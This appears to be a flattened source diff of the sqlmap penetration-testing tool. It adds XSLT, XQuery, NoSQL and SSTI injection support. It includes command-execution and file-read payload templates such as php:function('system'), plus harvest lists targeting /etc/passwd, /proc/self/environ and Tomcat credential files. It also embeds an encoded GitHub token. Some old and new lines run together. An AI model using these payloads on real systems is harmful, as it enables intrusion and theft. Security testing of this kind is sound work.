kb.chars.start = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) # NOTE: markers have to be mutually distinct (e.g. equal start/stop makes the delimited output ambiguous, while equal replacement markers make _errorReplaceChars() restore the wrong character). Also, none of the inner letters may be the boundary character itself, as that makes a marker contain a shorter one (e.g. 'qzqxq' carrying 'qzq')
kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) _ = set()
kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True)) while len(_) < 2:
_.add(randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET))
kb.chars.start, kb.chars.stop = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, __, KB_CHARS_BOUNDARY_CHAR) for __ in _)
_ = set()
while len(_) < 4:
_.add(randomStr(length=1, lowercase=True))
_.discard(KB_CHARS_BOUNDARY_CHAR)
kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, __, KB_CHARS_BOUNDARY_CHAR) for __ in _)
kb.checkWafMode = False kb.checkWafMode = False
kb.choices = AttribDict(keycheck=False) kb.choices = AttribDict(keycheck=False)
@@ -2240,6 +2255,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.forkNote = None kb.forkNote = None
kb.futileUnion = None kb.futileUnion = None
kb.fuzzUnionTest = None kb.fuzzUnionTest = None
kb.gadget = None
kb.heavilyDynamic = False kb.heavilyDynamic = False
kb.headersFile = None kb.headersFile = None
kb.headersFp = {} kb.headersFp = {}
@@ -2276,7 +2292,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.lastParserStatus = None kb.lastParserStatus = None
kb.locks = AttribDict() kb.locks = AttribDict()
for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "prediction", "socket", "redirect", "request", "value"): for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "multibit", "prediction", "socket", "redirect", "request", "value"):
kb.locks[_] = threading.Lock() kb.locks[_] = threading.Lock()
kb.matchRatio = None kb.matchRatio = None
@@ -2285,6 +2301,8 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.mergeCookies = None kb.mergeCookies = None
kb.mysqlUtf8mb4 = None kb.mysqlUtf8mb4 = None
kb.multiThreadMode = False kb.multiThreadMode = False
kb.multibit = {} # per injection point: absent=untried, False=unusable, else the row channel profile
kb.multibitHinted = False
kb.multipleCtrlC = False kb.multipleCtrlC = False
kb.negativeLogic = False kb.negativeLogic = False
kb.nchar = True kb.nchar = True
@@ -2357,6 +2375,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.technique = None kb.technique = None
kb.timeless = None # active HTTP/2 timeless-timing oracle (lib/request/timeless.py) or None kb.timeless = None # active HTTP/2 timeless-timing oracle (lib/request/timeless.py) or None
kb.timelessHinted = False # whether the "target speaks HTTP/2 -> try --timeless" nudge was shown (once/run) kb.timelessHinted = False # whether the "target speaks HTTP/2 -> try --timeless" nudge was shown (once/run)
kb.timelessRestore = None # classic time-based vector to re-forge stragglers onto after disengaging
kb.tempDir = None kb.tempDir = None
kb.testMode = False kb.testMode = False
kb.testOnlyCustom = False kb.testOnlyCustom = False
@@ -2752,9 +2771,7 @@ def _checkTor():
logger.info(infoMsg) logger.info(infoMsg)
def _basicOptionValidation(): def _basicOptionValidation():
_nonSqlTechniques = [name for name, enabled in ( _nonSqlTechniques = ["--%s" % _ for _ in NONSQL_TECHNIQUES if conf.get(_)]
("--graphql", conf.graphql), ("--nosql", conf.nosql), ("--ldap", conf.ldap),
("--xpath", conf.xpath), ("--ssti", conf.ssti), ("--xxe", conf.xxe), ("--hql", conf.hql)) if enabled]
if len(_nonSqlTechniques) > 1: if len(_nonSqlTechniques) > 1:
errMsg = "only one non-SQL technique switch may be used at a time (found: %s). " % ", ".join(_nonSqlTechniques) errMsg = "only one non-SQL technique switch may be used at a time (found: %s). " % ", ".join(_nonSqlTechniques)
errMsg += "each is a self-contained scan for a different back-end class - pick one" errMsg += "each is a self-contained scan for a different back-end class - pick one"
+8
View File
@@ -33,6 +33,7 @@ optDict = {
"liveCookies": "string", "liveCookies": "string",
"loadCookies": "string", "loadCookies": "string",
"dropSetCookie": "boolean", "dropSetCookie": "boolean",
"http10": "boolean",
"http2": "boolean", "http2": "boolean",
"agent": "string", "agent": "string",
"mobile": "boolean", "mobile": "boolean",
@@ -113,6 +114,7 @@ optDict = {
"notString": "string", "notString": "string",
"regexp": "string", "regexp": "string",
"code": "integer", "code": "integer",
"lengths": "boolean",
"smart": "boolean", "smart": "boolean",
"textOnly": "boolean", "textOnly": "boolean",
"titles": "boolean", "titles": "boolean",
@@ -120,18 +122,23 @@ optDict = {
"Techniques": { "Techniques": {
"technique": "string", "technique": "string",
"disableStats": "boolean",
"nosql": "boolean", "nosql": "boolean",
"graphql": "boolean", "graphql": "boolean",
"ldap": "boolean", "ldap": "boolean",
"xpath": "boolean", "xpath": "boolean",
"ssti": "boolean", "ssti": "boolean",
"xxe": "boolean", "xxe": "boolean",
"xslt": "boolean",
"hql": "boolean", "hql": "boolean",
"sparql": "boolean",
"odata": "boolean",
"jwt": "boolean", "jwt": "boolean",
"oobServer": "string", "oobServer": "string",
"oobToken": "string", "oobToken": "string",
"timeSec": "integer", "timeSec": "integer",
"timeless": "boolean", "timeless": "boolean",
"multiBit": "boolean",
"uCols": "string", "uCols": "string",
"uChar": "string", "uChar": "string",
"uFrom": "string", "uFrom": "string",
@@ -257,6 +264,7 @@ optDict = {
"scope": "string", "scope": "string",
"skipHeuristics": "boolean", "skipHeuristics": "boolean",
"skipWaf": "boolean", "skipWaf": "boolean",
"tablePrefix": "string",
"testFilter": "string", "testFilter": "string",
"testSkip": "string", "testSkip": "string",
"timeLimit": "float", "timeLimit": "float",
+3 -1
View File
@@ -23,7 +23,9 @@ def profile(profileOutputFile=None):
os.remove(profileOutputFile) os.remove(profileOutputFile)
# Start sqlmap main function and generate a raw profile file # Start sqlmap main function and generate a raw profile file
cProfile.run("start()", profileOutputFile) # Note: run() would exec inside __main__, which on pip installs is the console script, not sqlmap.py
from lib.controller.controller import start
cProfile.runctx("start()", {"start": start}, {}, profileOutputFile)
infoMsg = "execution profiled and stored into file '%s' (e.g. 'gprof2dot -f pstats %s | dot -Tpng -o /tmp/sqlmap_profile.png')" % (profileOutputFile, profileOutputFile) infoMsg = "execution profiled and stored into file '%s' (e.g. 'gprof2dot -f pstats %s | dot -Tpng -o /tmp/sqlmap_profile.png')" % (profileOutputFile, profileOutputFile)
logger.info(infoMsg) logger.info(infoMsg)
+284 -30
View File
@@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>) # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.8.0" VERSION = "1.10.9.0"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -74,6 +74,9 @@ RATE_LIMIT_MAX_DELAY = 60.0
# is not pre-filtered here: semantics-preservation is verified at runtime by re-running detection # is not pre-filtered here: semantics-preservation is verified at runtime by re-running detection
# through each candidate, so a DBMS-incompatible script simply fails the trial and is discarded. # through each candidate, so a DBMS-incompatible script simply fails the trial and is discarded.
WAF_BYPASS_TAMPERS = ( WAF_BYPASS_TAMPERS = (
"castprefix",
"mid2leftright",
"odbcbrace",
"equaltolike", "equaltolike",
"between", "between",
"greatest", "greatest",
@@ -85,7 +88,7 @@ WAF_BYPASS_TAMPERS = (
) )
# Maximum number of candidate tamper (chains) trialled during automatic WAF-bypass # Maximum number of candidate tamper (chains) trialled during automatic WAF-bypass
WAF_BYPASS_MAX_TRIALS = 8 WAF_BYPASS_MAX_TRIALS = len(WAF_BYPASS_TAMPERS)
# Browser-like request headers applied alongside the random (non-scanner) User-Agent during # Browser-like request headers applied alongside the random (non-scanner) User-Agent during
# automatic WAF bypass: sqlmap's defaults ('Accept: */*', no 'Accept-Language') are themselves a # automatic WAF bypass: sqlmap's defaults ('Accept: */*', no 'Accept-Language') are themselves a
@@ -609,7 +612,7 @@ MYSQL_UNION_VALUE_CAST = "CONVERT(%s USING utf8mb4) COLLATE utf8mb4_bin"
# Row count at/above which keyset (seek) pagination is used automatically for table dumps when a usable integer-key cursor exists (smaller tables keep the plain LIMIT/OFFSET path; '--keyset' forces it regardless of size) # Row count at/above which keyset (seek) pagination is used automatically for table dumps when a usable integer-key cursor exists (smaller tables keep the plain LIMIT/OFFSET path; '--keyset' forces it regardless of size)
KEYSET_MIN_ROWS = 1000 KEYSET_MIN_ROWS = 1000
# Number of consecutive Huffman (set-membership) character attempts allowed to decline/escape without a single validated success before the technique latches itself off (safety against trimmed/blocked long IN() payloads) # Number of Huffman (set-membership) character attempts made before their escape ratio is judged; at/above it, escapes reaching half of all attempts latch the technique off (safety against trimmed/blocked long IN() payloads)
HUFFMAN_PROBE_LIMIT = 8 HUFFMAN_PROBE_LIMIT = 8
# Cold-start (prior) weights for the order-0 Huffman model used in adaptive blind retrieval. Gently # Cold-start (prior) weights for the order-0 Huffman model used in adaptive blind retrieval. Gently
@@ -920,6 +923,9 @@ DEFAULT_COOKIE_DELIMITER = ';'
FORCE_COOKIE_EXPIRATION_TIME = "9999999999" FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
# Restricted PAT token for automated crash reporting (last rotation: 2026-04-24) # Restricted PAT token for automated crash reporting (last rotation: 2026-04-24)
# Scope is intentionally minimal (repo metadata read + issues write only, nothing else) -
# extracting and reusing it to open issues is a known, accepted side effect of this design,
# not a vulnerability (see https://github.com/sqlmapproject/sqlmap/issues/6098)
GITHUB_REPORT_PAT_TOKEN = "0EZh0n8npcacTH4oBcdKKWvfZLcdGWx0N5XFHD2xYaQDOkmI9LWaeDvZRZUMDz8l96RDH3+LVsbwGE5zUtaau0kld9VXG20fVbYES3ooFpNv+U9J5OTnaT2OlZcYzk4w5veT+GiHV5cuCngOJ6QgL1+qRpZDX1gzFecXbm2sNfQ2SGjT5McQe1mtxMTN7WsS1fQfPH+RhMUgbnwXJ5YG6EsBNZWOyk0C16QnekrVtuQpK0/ZVvU560uQhoMsP1/FBguBwJe" GITHUB_REPORT_PAT_TOKEN = "0EZh0n8npcacTH4oBcdKKWvfZLcdGWx0N5XFHD2xYaQDOkmI9LWaeDvZRZUMDz8l96RDH3+LVsbwGE5zUtaau0kld9VXG20fVbYES3ooFpNv+U9J5OTnaT2OlZcYzk4w5veT+GiHV5cuCngOJ6QgL1+qRpZDX1gzFecXbm2sNfQ2SGjT5McQe1mtxMTN7WsS1fQfPH+RhMUgbnwXJ5YG6EsBNZWOyk0C16QnekrVtuQpK0/ZVvU560uQhoMsP1/FBguBwJe"
# Age (in days) past which a resumed session file is considered stale (triggers a one-time nudge) # Age (in days) past which a resumed session file is considered stale (triggers a one-time nudge)
@@ -1008,13 +1014,19 @@ NOSQL_ERRORS = (
("CouchDB", r'"error"\s*:\s*"(?:bad_request|query_parse_error|missing_named_query)"|invalid operator: ?\$'), ("CouchDB", r'"error"\s*:\s*"(?:bad_request|query_parse_error|missing_named_query)"|invalid operator: ?\$'),
("Elasticsearch", r'"type"\s*:\s*"[a-z_]*?(?:query_shard|x_content_parse|parsing|search_phase_execution|illegal_argument|too_many_clauses|number_format|script)_exception"|Failed to parse query \['), ("Elasticsearch", r'"type"\s*:\s*"[a-z_]*?(?:query_shard|x_content_parse|parsing|search_phase_execution|illegal_argument|too_many_clauses|number_format|script)_exception"|Failed to parse query \['),
("Solr", r"org\.apache\.solr\.[\w.]*(?:SyntaxError|SolrException)"), ("Solr", r"org\.apache\.solr\.[\w.]*(?:SyntaxError|SolrException)"),
("Neo4j", r"Neo\.(?:ClientError|DatabaseError|TransientError|ClientNotification)\.|\bNeo4jError\b|even number of non-escaped quotes|Failed to parse string literal|expected an expression|'(?:UNWIND|OPTIONAL|DETACH|FOREACH|MERGE|LOAD CSV)'"), # NOTE: 'MERGE' is not Cypher-only. It is standard SQL, so it matched "Incorrect syntax near 'MERGE'"
("Neo4j", r"Neo\.(?:ClientError|DatabaseError|TransientError|ClientNotification)\.|\bNeo4jError\b|even number of non-escaped quotes|Failed to parse string literal|expected an expression|'(?:UNWIND|OPTIONAL|DETACH|FOREACH|LOAD CSV)'"),
("ArangoDB", r"\bArangoError\b|AQL: (?:syntax|parse) error"), ("ArangoDB", r"\bArangoError\b|AQL: (?:syntax|parse) error"),
("Cassandra", r"line \d+:\d+ (?:no viable alternative at input|(?:mismatched|extraneous) input '.*?' expecting)|org\.apache\.cassandra|com\.datastax|\bInvalid(?:Request|Query)Exception\b"), # NOTE: the ANTLR "line N:M no viable alternative" line is not evidence of Cassandra on its own -
# Hibernate 6 and Trino emit it word for word. What IS particular to the CQL grammar: the driver
# exception in front of it, the ANTLR3 lexer wording ('mismatched character', which the ANTLR4
# parsers do not have), and the "(...[TOKEN]...)" excerpt that CQL appends to the offending token
("Cassandra", r"\b(?:ResponseError|SyntaxException|InvalidRequestException|InvalidQueryException)\b[^\n]{0,60}?line \d+:\d+ (?:no viable alternative at input|(?:mismatched|extraneous) input)|line \d+:\d+ (?:mismatched character|no viable alternative at input '[^']*' \(\.\.\.)|org\.apache\.cassandra|com\.datastax|\bInvalid(?:Request|Query)Exception\b"),
("Redis", r"\bWRONGTYPE\b|ERR Error (?:compiling|running) script|@user_script|\bReplyError\b"), ("Redis", r"\bWRONGTYPE\b|ERR Error (?:compiling|running) script|@user_script|\bReplyError\b"),
("Memcached", r"CLIENT_ERROR bad|SERVER_ERROR object too large"), ("Memcached", r"CLIENT_ERROR bad|SERVER_ERROR object too large"),
("InfluxDB", r"error parsing query|unable to parse '[^']*': found"), ("InfluxDB", r"error parsing query|unable to parse '[^']*': found"),
("HBase/Phoenix", r"org\.apache\.phoenix|PhoenixParserException|org\.apache\.hadoop\.hbase"), ("HBase/Phoenix", r"org\.apache\.phoenix|PhoenixParserException|org\.apache\.hadoop\.hbase"),
("DynamoDB", r"Statement wasn't well formed, can't be processed|software\.amazon\.awssdk\.services\.dynamodb|com\.amazonaws\.services\.dynamodbv2|\bDynamoDb(?:Exception|Error)\b"),
) )
NOSQL_ERROR_REGEX = "(?:%s)" % '|'.join(regex for _, regex in NOSQL_ERRORS) NOSQL_ERROR_REGEX = "(?:%s)" % '|'.join(regex for _, regex in NOSQL_ERRORS)
@@ -1087,14 +1099,17 @@ GRAPHQL_PARSE_ERRORS = (
r"\bExpected Name,\s*found\b", r"\bExpected Name,\s*found\b",
r"\bUnexpected\s+<EOF>\b", r"\bUnexpected\s+<EOF>\b",
) )
# NOTE: graphql-js quotes the offending name, and the response carries those quotes backslash-escaped
# inside the JSON body ('Cannot query field \"x\" on type \"Query\"'). Without the optional backslash
# none of these ever matched a real answer - only a pretty-printed one
GRAPHQL_VALIDATION_ERRORS = ( GRAPHQL_VALIDATION_ERRORS = (
r'"code"\s*:\s*"GRAPHQL_VALIDATION_FAILED"', r'"code"\s*:\s*"GRAPHQL_VALIDATION_FAILED"',
r"\bCannot query field\s+\"[^\"]+\"\s+on type\s+\"[^\"]+\"", r"\bCannot query field\s+\\?\"[^\"\\]+\\?\"\s+on type\s+\\?\"[^\"\\]+\\?\"",
r"\bUnknown argument\s+\"[^\"]+\"\s+on field\s+\"[^\"]+\"", r"\bUnknown argument\s+\\?\"[^\"\\]+\\?\"\s+on field\s+\\?\"[^\"\\]+\\?\"",
r"\bField\s+\"[^\"]+\"\s+argument\s+\"[^\"]+\"\s+of type\s+\"[^\"]+\"\s+is required\b", r"\bField\s+\\?\"[^\"\\]+\\?\"\s+argument\s+\\?\"[^\"\\]+\\?\"\s+of type\s+\\?\"[^\"\\]+\\?\"\s+is required\b",
r"\bVariable\s+\"\$[^\"]+\"\s+got invalid value\b", r"\bVariable\s+\\?\"\$[^\"\\]+\\?\"\s+got invalid value\b",
r"\bExpected type\s+[^,]+,\s*found\b", r"\bExpected type\s+[^,]+,\s*found\b",
r"\bDid you mean\s+\"[^\"]+\"\b", r"\bDid you mean\s+\\?\"[^\"\\]+\\?\"",
) )
GRAPHQL_APQ_ERRORS = ( GRAPHQL_APQ_ERRORS = (
r"\bPersistedQueryNotFound\b", r"\bPersistedQueryNotFound\b",
@@ -1150,17 +1165,25 @@ LDAP_FINGERPRINT_ATTRIBUTES = (
# fingerprinting (matched against HTTP response bodies). Each tuple is # fingerprinting (matched against HTTP response bodies). Each tuple is
# (backend_name, regex_fragment). # (backend_name, regex_fragment).
XPATH_ERROR_SIGNATURES = ( XPATH_ERROR_SIGNATURES = (
("Java JAXP / Xalan", r"(?:javax\.xml\.(?:xpath\.XPathExpressionException|transform\.Transformer(?:Configuration)?Exception)|com\.sun\.org\.apache\.xpath\.(?:XPathException|XPathProcessorException)|org\.apache\.xpath|org\.xml\.sax\.SAX(?:Parse)?Exception)"), # NOTE: neither javax.xml.transform.Transformer*Exception nor org.xml.sax.SAX*Exception belongs
# here. The first is the XSLT transformer and the second is the XML parser, so claiming them made
# every stylesheet failure and every malformed-XML response suggest '--xpath' as well. A real
# Xalan XPath failure always carries javax.xml.xpath.XPathExpressionException
("Java JAXP / Xalan", r"(?:javax\.xml\.xpath\.XPathExpressionException|com\.sun\.org\.apache\.xpath\.(?:XPathException|XPathProcessorException)|org\.apache\.xpath)"),
("Java JAXP / Xalan", r"XPath (?:expression|syntax) error"), ("Java JAXP / Xalan", r"XPath (?:expression|syntax) error"),
("Java JAXP / Saxon", r"net\.sf\.saxon\.(?:trans\.XPathException|s9api\.SaxonApiException)"), ("Java JAXP / Saxon", r"net\.sf\.saxon\.(?:trans\.XPathException|s9api\.SaxonApiException)"),
("Java JAXP / Saxon", r"(?:XPST|XPTY|XPDY|XQST|XTDE)\d{4}:"), # NOTE: XTDE is an XSLT Transformation Dynamic Error, so it stays with '--xslt'
(".NET XPathNavigator", r"System\.Xml\.(?:XPath\.XPathException|XmlException)"), ("Java JAXP / Saxon", r"(?:XPST|XPTY|XPDY|XQST)\d{4}:"),
(".NET XPathNavigator", r"System\.Xml\.XPath\.XPathException"),
(".NET XPathNavigator", r"Expression must evaluate to a node-set"), (".NET XPathNavigator", r"Expression must evaluate to a node-set"),
(".NET XPathNavigator", r"has an invalid (?:token|qualified name)"), (".NET XPathNavigator", r"has an invalid (?:token|qualified name)"),
("lxml / libxml2", r"(?:lxml\.etree\.(?:XPath(?:Eval|Document|Syntax)?Error)|libxml2|xmlXPath(?:CompOp|Eval|Err))"), ("lxml / libxml2", r"(?:lxml\.etree\.(?:XPath(?:Eval|Document|Syntax)?Error)|libxml2|xmlXPath(?:CompOp|Eval|Err))"),
("lxml / libxml2", r"(?:XPath error|Invalid (?:expression|predicate))"), # NOTE: 'Invalid expression' on its own is not an XPath error. libxml2 always prefixes it with
# "XPath error : ", and PHP always names the failing method, so both are covered without the
# bare form - which otherwise matched any calculator or formula field
("lxml / libxml2", r"XPath error"),
("PHP SimpleXML / DOMXPath", r"(?:SimpleXMLElement::xpath\(\)|DOMXPath::(?:query|evaluate)\(\))"), ("PHP SimpleXML / DOMXPath", r"(?:SimpleXMLElement::xpath\(\)|DOMXPath::(?:query|evaluate)\(\))"),
("PHP SimpleXML / DOMXPath", r"Invalid expression|xmlXPathEval"), ("PHP SimpleXML / DOMXPath", r"xmlXPathEval"),
("Saxon (standalone)", r"(?:net\.sf\.saxon\.(?:s9api\.SaxonApiException|trans\.XPathException)|Saxon error)"), ("Saxon (standalone)", r"(?:net\.sf\.saxon\.(?:s9api\.SaxonApiException|trans\.XPathException)|Saxon error)"),
("Saxon (standalone)", r"Static error\(s\) in query"), ("Saxon (standalone)", r"Static error\(s\) in query"),
("BaseX", r"org\.basex\.(?:query\.QueryException|core\.BaseXException)"), ("BaseX", r"org\.basex\.(?:query\.QueryException|core\.BaseXException)"),
@@ -1168,7 +1191,9 @@ XPATH_ERROR_SIGNATURES = (
("eXist", r"org\.exist\.xquery\.(?:XPathException|XQueryException)"), ("eXist", r"org\.exist\.xquery\.(?:XPathException|XQueryException)"),
("eXist", r"exerr:ERROR"), ("eXist", r"exerr:ERROR"),
("Python ElementTree", r"xml\.etree\.ElementTree\.(?:ParseError|Element)"), ("Python ElementTree", r"xml\.etree\.ElementTree\.(?:ParseError|Element)"),
("Generic XPath", r"(?:XPath|XSLT).*?(?:error|exception|syntax)"), # NOT XSLT: a dedicated '--xslt' engine owns those errors now, and claiming them here made every
# XSLT parser error suggest '--xpath' as well
("Generic XPath", r"XPath.*?(?:error|exception|syntax)"),
("Generic XPath", r"Invalid XPath|XPath evaluation failed"), ("Generic XPath", r"Invalid XPath|XPath evaluation failed"),
) )
@@ -1184,19 +1209,142 @@ XPATH_MAX_DEPTH = 32
# Upper bound for the value-length search during XPath blind extraction # Upper bound for the value-length search during XPath blind extraction
XPATH_MAX_LENGTH = 256 XPATH_MAX_LENGTH = 256
# XQuery (XPath 2.0/3.x) supersets XPath 1.0, so the same injection boundary reaches a much richer
# language. These probes are TRUE on an XQuery processor and a SYNTAX ERROR on an XPath 1.0 one, which is
# what makes them a capability test rather than a guess: string-join/matches/upper-case simply do not
# exist in 1.0. Engines: Saxon, BaseX, eXist-db, MarkLogic, Zorba.
XQUERY_CAPABILITY_PROBES = (
"string-join(('a','b'),'')='ab'",
"upper-case('a')='A'",
"matches('a','a')",
)
# XQuery file-read primitive: fn:unparsed-text() returns a text file as a string, so the existing blind
# character bisection recovers it unchanged. doc() is the XML equivalent (and the OOB vector when it is
# handed an http:// URI).
XQUERY_FILE_READ = "unparsed-text(%s)"
XQUERY_MAX_FILE_LENGTH = 4096
# Proactive harvest for a confirmed XQuery back-end. Deliberately SHORT: unlike an in-band read, every
# character here costs a bisection round-trip, so this is the identity/secret minimum rather than the
# broad sweep an in-band engine can afford.
XQUERY_FILE_HARVEST = (
"/etc/passwd",
"/etc/hostname",
"/proc/self/environ",
"/proc/self/cmdline",
"c:/windows/win.ini",
)
# Characters recovered from the ONE file the harvest extracts a sample from. Every character costs about
# eight bisection round-trips, so a full /etc/passwd would be thousands of requests against the target.
# The harvest therefore PROVES readability across the list for ~1 request each and samples a short prefix
# from the first hit only. An explicit '--file-read' is a deliberate request and still gets the full
# XQUERY_MAX_FILE_LENGTH.
XQUERY_HARVEST_CHARS = 32
# XSLT injection ('--xslt'). Compile/runtime errors are per-engine and are what reaches a target whose
# output is fixed, so they double as the fingerprint when nothing can be reflected.
# Ordered MOST SPECIFIC FIRST and matched in order: PHP's XSLTProcessor and lxml are both libxslt
# underneath and emit its wording too, so the generic libxslt entry has to come last or it would shadow
# the binding that actually tells the tester what they are talking to.
XSLT_ERROR_SIGNATURES = (
("PHP XSLTProcessor", r"XSLTProcessor::(?:importStylesheet|transformTo\w+)\(\)"),
# NOTE: XPathEvalError is raised by a plain tree.xpath() call, so it belongs to '--xpath'. lxml
# raises XSLTParseError / XSLTApplyError for a stylesheet
("libxslt / lxml", r"lxml\.etree\.XSLT(?:Parse|Apply)?Error"),
# NOTE: Saxon is one product for XPath, XQuery and XSLT, so the package name alone proves nothing.
# Only the XSLT-exclusive evidence is kept (XTSE static / XTDE dynamic codes, the style package)
("Saxon", r"(?:net\.sf\.saxon\.style\.|XTDE\d{4}|XTSE\d{4}|Failed to compile stylesheet)"),
# NOTE: only the 'Configuration' form is exclusive to a stylesheet. javax.xml.xpath wraps a plain
# XPath failure in a bare TransformerException, and a Xalan run-time failure names org.apache.xalan
("Xalan / Java JAXP", r"(?:javax\.xml\.transform\.TransformerConfigurationException|org\.apache\.xalan|XSLT Error)"),
(".NET XslCompiledTransform", r"System\.Xml\.Xsl\.(?:XslLoadException|XsltException)"),
# Anchored to XSLT vocabulary on purpose: this regex also drives the GLOBAL heuristic hint in
# checks.py, and bare "compilation error" / "Invalid expression" match gcc, javac and regex failures,
# which would suggest '--xslt' on targets that have nothing to do with XSLT.
# NOTE: xmlXPathEval is the libxml2 XPath entry point, which '--xpath' owns. libxslt names the
# stylesheet file instead, and that is what tells the two apart
("libxslt", r"(?:xsltParseStylesheet|xsltApplyStylesheet|xsltCompilePattern|xsltLoadStylesheet|xsl:\w+ : |(?:runtime|compilation) error: file [^\n]{0,120}\.xsl)"),
("Generic XSLT", r"(?:XSLT|xsl:stylesheet).{0,40}?(?:error|exception|fail)"),
)
XSLT_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XSLT_ERROR_SIGNATURES)
# system-property() names the processor from inside the transformation, so a response carrying it is the
# engine speaking rather than the application echoing.
XSLT_VENDOR_PROPERTIES = ("xsl:vendor", "xsl:version", "xsl:vendor-url", "xsl:product-name", "xsl:product-version")
# Extension bridges that turn XSLT injection into arbitrary file read and, on some engines, command
# execution. An injection has to land in the ELEMENT slot to reach one: the value slot cannot bind the
# namespace prefix the extension needs. function-available() is NOT trustworthy here (Xalan answers
# 'false' for a working java: call), so each read/exec bridge is confirmed by EVALUATION - a
# deterministic self-check whose result the application cannot produce by itself - not by asking whether
# the function "exists". Read/exec templates take one %s, an already-quoted XPath string literal.
XSLT_BRIDGE_PHP = "php"
XSLT_BRIDGE_JAVA = "java"
# label, kind, ns-prefix, ns-uri, read-template, exec-template (None where that engine has no exec bridge)
XSLT_BRIDGES = (
("PHP registerPHPFunctions (php:function)", XSLT_BRIDGE_PHP, "php", "http://php.net/xsl",
"php:function('file_get_contents',%s)", "php:function('system',%s)"),
# Xalan is READ-ONLY here on purpose: java:...Scanner over a File reads any file reliably, but the
# java: bridge does not stringify a Process stdout back into the result tree, so Runtime.exec would
# run BLIND with no captured output - offering '--os-cmd' that silently returns nothing is worse than
# not offering it (a destructive command would look like it never ran). Hence no exec template.
("Xalan java: extension namespace", XSLT_BRIDGE_JAVA, "java", "http://xml.apache.org/xalan/java",
"java:next(java:useDelimiter(java:java.util.Scanner.new(java:java.io.File.new(%s)),'\\Z'))",
None),
)
# File WRITE / eval surfaces that sqlmap reports but does NOT drive: exsl:document writes to the target
# filesystem (destructive, '--file-write' territory) and saxon:eval needs Saxon-PE/EE. Their mere
# availability is the finding. Each is (label, boolean XPath self-check that answers 'true').
XSLT_ADVISORY_PROBES = (
("EXSLT exsl:document (file write)", "string(element-available('exsl:document'))"),
("Saxon saxon:eval", "string(function-available('saxon:eval'))"),
)
XSLT_MAX_FILE_LENGTH = 65536
# XSLT 1.0's document() parses its target as XML, so a text file simply fails to load - only an XSLT 2.0+
# engine reaches arbitrary text through unparsed-text(). These are the high-value paths that ARE XML, so
# the auto-harvest still returns something on a 1.0 engine (which is most of the installed base).
XSLT_XML_HARVEST = (
"/var/www/html/WEB-INF/web.xml",
"/usr/local/tomcat/conf/tomcat-users.xml",
"/usr/local/tomcat/conf/server.xml",
"/opt/tomcat/conf/tomcat-users.xml",
"/etc/tomcat/tomcat-users.xml",
"c:/inetpub/wwwroot/web.config",
"c:/windows/system32/inetsrv/config/applicationHost.config",
)
# Bound on the proactive harvest so a confirmed finding cannot turn into hundreds of requests.
XSLT_MAX_HARVEST = 12
# SSTI error signatures per template engine for detection and fingerprinting. # SSTI error signatures per template engine for detection and fingerprinting.
# Each tuple is (engine_name, regex_fragment). # Each tuple is (engine_name, regex_fragment).
SSTI_ERROR_SIGNATURES = ( SSTI_ERROR_SIGNATURES = (
("Jinja2", r"jinja2\.exceptions\.\w+|TemplateSyntaxError|UndefinedError|TemplateNotFound|TemplateAssertionError"), ("Jinja2", r"jinja2\.exceptions\.\w+|TemplateSyntaxError|UndefinedError|TemplateNotFound|TemplateAssertionError"),
("Twig", r"Twig[\\_]Error|Twig[\\_]Environment|Unknown (?:filter|function|test|tag)"), # NOTE: 'at line: N char: N' (with those colons) is how Mako, and only Mako, points at the fault
("Freemarker", r"freemarker\.(?:core|template|extract|cache)\.\w+|ParseException|InvalidReferenceException|TemplateException"), ("Mako", r"mako\.exceptions\.\w+|at line: \d+ char: \d+"),
# NOTE: Twig quotes the offending name ('Unknown "upper" filter'). Without the quotes this also
# matched the 'Unknown function' of Neo4j and Cassandra, which suggested '--ssti' on a NoSQL error
("Twig", "Twig[\\\\_]Error|Twig[\\\\_]Environment|Unknown \"[^\"]+\" (?:filter|function|test|tag)"),
# NOTE: a bare 'ParseException' is not Freemarker. It also matched java.text.ParseException,
# org.xml.sax.SAXParseException and REXML::ParseException. The package prefix is always present
("Freemarker", r"freemarker\.(?:core|template|extract|cache)\.\w+|InvalidReferenceException|TemplateException"),
("Velocity", r"org\.apache\.velocity\.(?:runtime|exception)\.\w+|ParseErrorException|MethodInvocationException|ResourceNotFoundException"), ("Velocity", r"org\.apache\.velocity\.(?:runtime|exception)\.\w+|ParseErrorException|MethodInvocationException|ResourceNotFoundException"),
